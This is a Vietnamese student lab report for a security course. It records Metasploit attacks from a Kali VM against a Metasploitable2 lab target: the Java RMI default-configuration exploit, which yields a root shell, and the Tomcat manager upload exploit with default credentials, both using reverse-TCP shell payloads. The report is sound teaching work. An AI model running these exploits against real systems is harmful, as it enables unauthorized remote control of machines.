

Báo cáo thực hành môn An toàn hệ điều hành
Bài thực hành 2

Họ và tên: Hoàng Trung Kiên
Mã sinh viên: B20DCAT098

Hà nội, ngày 16 tháng 3 năm 2023

1. Cài đặt các công cụ nền tảng

-Đổi tên hostname:

+Máy attacker:

```
kali@B20DCAT098-Kien-Kali: ~/Desktop
File Actions Edit View Help

(kali@B20DCAT098-Kien-Kali)-[~/Desktop]
$ date
Thu Mar 16 07:47:22 AM +07 2023

(kali@B20DCAT098-Kien-Kali)-[~/Desktop]
$ cat /etc/hostname
B20DCAT098-Kien-Kali
```

+Máy Victim Metasploit:

```
msfadmin@B20DCAT098-Kien-Meta:~$ date
Wed Mar 15 20:49:13 EDT 2023
msfadmin@B20DCAT098-Kien-Meta:~$ cat /etc/hostname
B20DCAT098-Kien-Meta
msfadmin@B20DCAT098-Kien-Meta:~$ _
```

2. Địa chỉ IP máy Metasploitable2.

Địa chỉ ip máy Victim: 192.168.100.135

```
msfadmin@B20DCAT098-Kien-Meta:~$ date
Wed Mar 15 20:49:13 EDT 2023
msfadmin@B20DCAT098-Kien-Meta:~$ cat /etc/hostname
B20DCAT098-Kien-Meta
msfadmin@B20DCAT098-Kien-Meta:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:25:21:9e
          inet addr:192.168.100.135  Bcast:192.168.100.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe25:219e/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:54 errors:0 dropped:0 overruns:0 frame:0
          TX packets:106 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:6119 (5.9 KB)  TX bytes:12398 (12.1 KB)
          Interrupt:17 Base address:0x2000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:128 errors:0 dropped:0 overruns:0 frame:0
          TX packets:128 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:36185 (35.3 KB)  TX bytes:36185 (35.3 KB)
```

3. Địa chỉ IP máy Kali.

Địa chỉ ip máy attacker: 192.168.100.3

```
kali@B20DCAT098-Kien-Kali: ~/Desktop
File Actions Edit View Help

(kali@B20DCAT098-Kien-Kali)-[~/Desktop]
$ date
Thu Mar 16 07:50:38 AM +07 2023

(kali@B20DCAT098-Kien-Kali)-[~/Desktop]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
      inet 192.168.100.3  netmask 255.255.255.0  broadcast 192.168.100.255
      inet6 fe80::44ff:414e:3db8:cd99  prefixlen 64  scopeid 0x20<link>
      ether 00:0c:29:c4:0c:81  txqueuelen 1000  (Ethernet)
      RX packets 67  bytes 10641 (10.3 KiB)
      RX errors 0  dropped 0  overruns 0  frame 0
      TX packets 67  bytes 7433 (7.2 KiB)
      TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
      inet 127.0.0.1  netmask 255.0.0.0
      inet6 ::1  prefixlen 128  scopeid 0x10<host>
      loop txqueuelen 1000  (Local Loopback)
      RX packets 4  bytes 240 (240.0 B)
      RX errors 0  dropped 0  overruns 0  frame 0
      TX packets 4  bytes 240 (240.0 B)
      TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0
```

4. Đảm bảo kết nối giữa 2 máy

Kiểm tra kết nối giữa hai máy

-Máy attacker ping đến máy victim:

+Kiểm tra kết nối từ máy attacker đến máy victim: ping (attacker -> victim)----> 0% packet loss ----> có thể kết nối từ máy attacker tới máy victim

```
kali@B20DCAT098-Kien-Kali: ~/Desktop
File Actions Edit View Help

(kali@B20DCAT098-Kien-Kali)-[~/Desktop]
$ date
Thu Mar 16 07:59:23 AM +07 2023

(kali@B20DCAT098-Kien-Kali)-[~/Desktop]
$ ping 192.168.100.135
PING 192.168.100.135 (192.168.100.135) 56(84) bytes of data.
64 bytes from 192.168.100.135: icmp_seq=1 ttl=64 time=0.372 ms
64 bytes from 192.168.100.135: icmp_seq=2 ttl=64 time=0.781 ms
64 bytes from 192.168.100.135: icmp_seq=3 ttl=64 time=0.621 ms
64 bytes from 192.168.100.135: icmp_seq=4 ttl=64 time=0.789 ms
^C
--- 192.168.100.135 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3037ms
rtt min/avg/max/mdev = 0.372/0.640/0.789/0.169 ms
```

-Máy victim ping đến máy attacker

+Kiểm tra kết nối từ máy victim đến máy attacker: ping (victim -> attacker)----> 0% packet loss ----> có thể kết nối từ máy victim tới máy attacker

```
msfadmin@B20DCAT098-Kien-Meta:~$ date
Wed Mar 15 21:01:57 EDT 2023
msfadmin@B20DCAT098-Kien-Meta:~$ ping 192.168.100.3
PING 192.168.100.3 (192.168.100.3) 56(84) bytes of data.
64 bytes from 192.168.100.3: icmp_seq=1 ttl=64 time=0.715 ms
64 bytes from 192.168.100.3: icmp_seq=2 ttl=64 time=0.229 ms
64 bytes from 192.168.100.3: icmp_seq=3 ttl=64 time=0.730 ms
64 bytes from 192.168.100.3: icmp_seq=4 ttl=64 time=0.710 ms

--- 192.168.100.3 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2999ms
rtt min/avg/max/mdev = 0.229/0.596/0.730/0.212 ms
msfadmin@B20DCAT098-Kien-Meta:~$ _
```

5. Khai thác lỗ hổng sử dụng cấu hình ngầm định trong dịch vụ Java RMI:

-Khởi động Metasploit

```
kali@B20DCAT098-Kien-Kali: ~/Desktop
File Actions Edit View Help

(kali@B20DCAT098-Kien-Kali)-[~/Desktop]
$ msfconsole

# cowsay++
< metasploit >

  \  (oo)_____)
   (__)       \
    ||--||    *

    =[ metasploit v6.2.26-dev ]
+ --=[ 2264 exploits - 1189 auxiliary - 404 post ]
+ --=[ 951 payloads - 45 encoders - 11 nops ]
+ --=[ 9 evasion ]

Metasploit tip: Start commands with a space to avoid saving
them to history
Metasploit Documentation: https://docs.metasploit.com/
```

-Khai báo sử dụng mô đun tấn công: use exploit/multi/misc/java_rmi_server

```
msf6 > search java_rmi_server

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
0  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes     Java RMI Server Insecure Default Configuration Java Code Execution
1  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal  No      Java RMI Server Insecure Endpoint Code Execution Scanner

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/misc/java_rmi_server

msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) >
```

-Chọn payload cho thực thi (mở shell): set payload java/shell/reverse_tcp

-Đặt địa chỉ IP máy victim: set RHOST

```
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > set payload java/shell/reverse_tcp
payload => java/shell/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > > set RHOST
[-] Unknown command: >
msf6 exploit(multi/misc/java_rmi_server) > set RHOST
RHOST =>
msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.100.131
RHOST => 192.168.100.131
msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.100.135
RHOST => 192.168.100.135
msf6 exploit(multi/misc/java_rmi_server) >
```

-Chạy lệnh: show options

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
-----
HTTPDFLAY 10               yes       Time that the HTTP Server will wait for the payload request
RHOSTS    192.168.100.135 yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT     1099             yes       The target port (TCP)
SRVHOST   0.0.0.0           yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080             yes       The local port to listen on.
SSL       false            no        Negotiate SSL for incoming connections
SSLCert   no               no        Path to a custom SSL certificate (default is randomly generated)
URIPATH   no               no        The URI to use for this exploit (default is random)

Payload options (java/shell/reverse_tcp):

Name      Current Setting  Required  Description
-----
LHOST     192.168.100.3  yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
--  --
0   Generic (Java Payload)
```

-Thực thi tấn công: exploit

→ Nếu thực hiện thành công, hệ thống sẽ báo “Command shell session 1 opened”, sau lại báo lỗi và trở về dấu nhắc của bước trước

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.100.3:4444
[*] 192.168.100.135:1099 - Using URL: http://192.168.100.3:8080/Nd0CrI28zXaPs
[*] 192.168.100.135:1099 - Server started.
[*] 192.168.100.135:1099 - Sending RMI Header...
[*] 192.168.100.135:1099 - Sending RMI Call...
[*] 192.168.100.135:1099 - Replied to request for payload JAR
[*] Sending stage (2952 bytes) to 192.168.100.135
[*] Command shell session 1 opened (192.168.100.3:4444 → 192.168.100.135:54963) at 2023-03-16 08:09:30 +0700
```

-Chạy các lệnh trong phiên khai thác đang mở: whoami, id, uname -a hostname - Gõ lệnh exit để kết thúc

```
whoami
root
id
uid=0(root) gid=0(root)
uname -a
Linux B20DCAT098-Kien-Meta 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
hostname
B20DCAT098-Kien-Meta
```

-Khởi động Metasploit

[illegible]

```
msf6 > search /tomcat_mgr_upload

Matching Modules
=====

#  Name                                     Disclosure Date  Rank      Check  Description
-  -                                     -              -      -      -
0  exploit/multi/http/tomcat_mgr_upload  2009-11-09      excellent Yes     Apache Tomcat Manager Authenticated Upload Code Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/tomcat_mgr_upload

msf6 > use exploit/multi/http/tomcat_mgr_upload
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

```
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOST 192.168.100.135
RHOST => 192.168.100.135
msf6 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8180
RPORT => 8180
msf6 exploit(multi/http/tomcat_mgr_upload) > set payload java/shell/reverse_tcp
payload => java/shell/reverse_tcp
```

- Đặt HttpPassword: set HttpPassword tomcat
- Đặt HttpUsername: set HttpUsername tomcat
- Chạy lệnh “show options” để xem các thông tin về mô đun tấn công đang sử dụng

```

kali@B20DCAT098-Kien-Kali: ~/Desktop
File Actions Edit View Help
View the full module info with the info, or info -d command.

msf6 exploit(multi/http/tomcat_mgr_upload) > setInterrupt: use the 'exit' command to quit
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername tomcat
HttpUsername => tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword
HttpPassword =>
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword tomcat
HttpPassword => tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > show options

Module options (exploit/multi/http/tomcat_mgr_upload):

  Name          Current Setting  Required  Description
  --          -
  HttpPassword   tomcat           no        The password for the specified username
  HttpUsername   tomcat           no        The username to authenticate as
  Proxies        no              no        A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS         192.168.100.135 yes         The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Me
  tasptloit
  RPORT          8180             yes        The target port (TCP)
  SSL            false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI      /manager         yes        The URI path of the manager app (/html/upload and /undeploy will be used)
  VHOST          no              no        HTTP server virtual host

Payload options (java/shell/reverse_tcp):

  Name          Current Setting  Required  Description
  --          -
  LHOST         192.168.100.3   yes        The listen address (an interface may be specified)
  LPORT         4444            yes        The listen port

Exploit target:

  Id  Name
  --  --
  0    Java Universal

```

- Thực thi tấn công: exploit

```

msf6 exploit(multi/http/tomcat_mgr_upload) > exploit

[*] Started reverse TCP handler on 192.168.100.3:4444
[*] Retrieving session ID and CSRF token ...
[*] Uploading and deploying vHOLIN6 ...
[*] Executing vHOLIN6 ...
[*] Undeploying vHOLIN6 ...
[*] Undeployed at /manager/html/undeploy
[*] Sending stage (2952 bytes) to 192.168.100.135
[*] Command shell session 1 opened (192.168.100.3:4444 → 192.168.100.135:39055) at 2023-03-16 09:47:41 +0700

```

- mở shell với người dùng tomcat55 cho phép chạy lệnh từ máy Kali
- có thể thực hiện bất cứ lệnh shell nào trên máy victim.
- Chạy các lệnh để đọc tên người dùng và máy đang truy cập: whoami, id, uname -a, hostname

```

whoami
tomcat55
id
uid=110(tomcat55) gid=65534(nogroup) groups=65534(nogroup)
uname -a
Linux B20DCAT098-Kien-Meta 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
hostname
B20DCAT098-Kien-Meta

```